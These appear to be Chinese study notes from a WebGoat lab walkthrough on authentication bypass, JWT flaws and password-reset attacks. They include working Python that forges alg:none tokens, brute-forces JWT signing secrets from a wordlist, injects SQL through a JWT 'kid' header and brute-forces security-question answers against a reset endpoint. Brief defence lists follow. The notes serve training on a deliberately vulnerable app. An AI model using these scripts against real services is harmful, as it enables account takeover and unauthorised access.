通过html中隐藏的input标签值
通过移除/修改提交的参数来确认程序的响应
通过猜测和暴力破解强制访问站点的某些URL
将secQuestion0,secQuestion1改为secQuestion2 secQuestion3即可
令牌格式为Header.playload.Signature
Header中存放加密的算法和类型,数据为JSON经过BASE64URL算法的编码结果
JSON字符串格式为:
{
"alg" : "HS256"
"typ": "JWT"
}
playload中存放实际传递的数据(该部分非加密格式,可任意读取),数据为JSON经过BASE64URL算法的编码结果。
playload分三种声明(claims):
Registered claims(注册声明)
这些是一组预先定义的声明,它们不是强制性的,但推荐使用,以提供一组有用的,可互操作的声明。 其中一些是:iss(发行者),exp(到期时间),sub(主题),aud(受众)
Public claims(公开声明)
由使用JWT的人员随意定义
Private claims(私有声明)
这些是为了同意使用它们但是既没有登记,也没有公开声明的各方之间共享信息,而创建的定制声明。
JSON字符串格式为:
{
"exp": 1416471934, "user_name": "user",
"scope": [ "read", "write" ],
"authorities": [ "ROLE_ADMIN", "ROLE_USER" ],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"client_id": "my-client-with-secret"
}
Signature中存放通过secret对header和claims计算签名并经过BASE64URL算法的编码结果,算法格式为:
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
Base64URL编码与Base64类似,主要是将Base64编码中的=省略,+替换为-,/替换为_
https://www.cnblogs.com/mantoudev/p/8994341.html
将签名算法设置为none从而绕过签名验证
密钥暴力破解token信息
利用refresh token逻辑错误,对其他账号的access token进行刷新
import base64
def b64urlencode(data):
return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
print(b64urlencode(b'{"alg":"none"}') + b'.' + b64urlencode(b'{"iat":1592510350,"admin":"true","user":"Tom"}') + b'.')
python 中string和bytes的关系
https://www.cnblogs.com/abclife/p/7445222.html
可通过pyjwt 库中的 jwt.decode(jwt_str, verify=True, key=key_)破解密码
进行签名校验,但导致校验失败的因素不仅密钥错误,还可能是数据部分中预定义字段错误(如,当前时间超过 exp),也可能是 JWT字符串格式错误等等,所以,借助 jwt.decode(jwt_str, verify=True, key=key_) 验证密钥 key_
1.若签名直接校验失败,则 key_ 为有效密钥;
2.若因数据部分预定义字段错误
jwt.exceptions.ExpiredSignatureError,
jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError
导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;
3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;
4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。
import jwt
def getSecret(data):
jwt_str = data
with open('/password.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_)
print(key_)
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print(key_)
break
except jwt.exceptions.InvalidSignatureError:
continue
else:
print('not found')
data = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aW' \
'xkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5MTcy' \
'Njk2NywiZXhwIjoxNTkxNzI3MDI3LCJzdWIiOiJ0b21Ad2ViZ29h' \
'dC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYX' \
'Qub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJh' \
'dG9yIl19.S2qEUNCr0aiq-dva_hDJT9-EO9jNe-clfl0Gm97qzxo'
getSecret(data)
生成令牌
import jwt
token_dict = {
"iss": "WebGoat Token Builder",
"aud": "webgoat.org",
"iat": 1591726967,
"exp": 9591727027,
"sub": "[email protected]",
"username": "WebGoat",
"Email": "[email protected]",
"Role": [
"Manager",
"Project Administrator"
]
}
key = "business"
# headers
headers = {
"typ": "JWT",
"alg": "HS512",
}
jwt_token = jwt.encode(token_dict, key, algorithm="HS512", headers=headers )
print(jwt_token.decode())
获得刷新令牌
{"refresh_token":"iPVVppWFBvUXDHrCtWcw"}
token_dict = {
"iss": "WebGoat Token Builder",
"aud": "webgoat.org",
"iat": 1524210904,
"exp": 9591727027,
"sub": "[email protected]",
"username": "Tom",
"Email": "[email protected]",
"Role": [
"Cat"
]
}
key = "pass"
# headers
headers = {
"typ": "JWT",
"alg": "HS256",
"kid": " ' union select 'cGFzcw==' from jwt_keys where id='webgoat_key "
}
jwt_token = jwt.encode(token_dict,
key,
algorithm="HS256",
headers=headers
)
print(jwt_token.decode())
其他jwt利用方法
https://4hou.win/wordpress/?p=23278
from termcolor import colored, cprint
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': '2ja4uLmi1aSmefjKQIFSaxN84ZW5x_iCk62fEJDQ'
}
url = "http://192.168.80.2:8080/WebGoat/PasswordReset/questions"
with open("F://users.txt") as users:
for user in users:
with open("F://password.txt") as passwords:
for password in passwords:
data = "username={0}&securityQuestion={1}".format(user.strip(), password.strip())
res = requests.post(url=url, headers=headers, cookies=cookies, data=data)
if 'Congratulations' in res.json()['feedback']:
cprint("name={0},password={1}".format(user.strip(), password).strip(),'red')
exit(0)
身份验证绕过
通过html中隐藏的input标签值
通过移除/修改提交的参数来确认程序的响应
通过猜测和暴力破解强制访问站点的某些URL
JWT绕过
将签名算法设置为none从而绕过签名验证
密钥暴力破解token信息
利用refresh token逻辑错误,对其他账号的access token进行刷新
防御方法
不允许出现 none 的方法:将开启 alg : none 作为一种额外的配置选项。
使用复杂的秘钥
不允许 HS256等对称加密 算法读取秘钥,将秘钥与验证算法相互匹配
密码重置
验证用户名/邮箱/手机号是否注册
暴力破解问题答案,后进行重置密码
通过钓鱼方式获取用户重置密码验证码或重置链接后进行重置
针对弱算法生成的验证码或重置链接进行暴力破解
防御方法
在重置密码失败3次以上,提供后端验证码生成,提示用户输入,并在后端进行验证
针对使用问题答案进行重置密码功能,不应限制问题答案范围
提供发送验证码和重置链接,选择随机性强算法,并记录验证码和用户的关系,同时需要设置验证码和重置连接的有效时间,并保证验证码和重置链接至多使用一次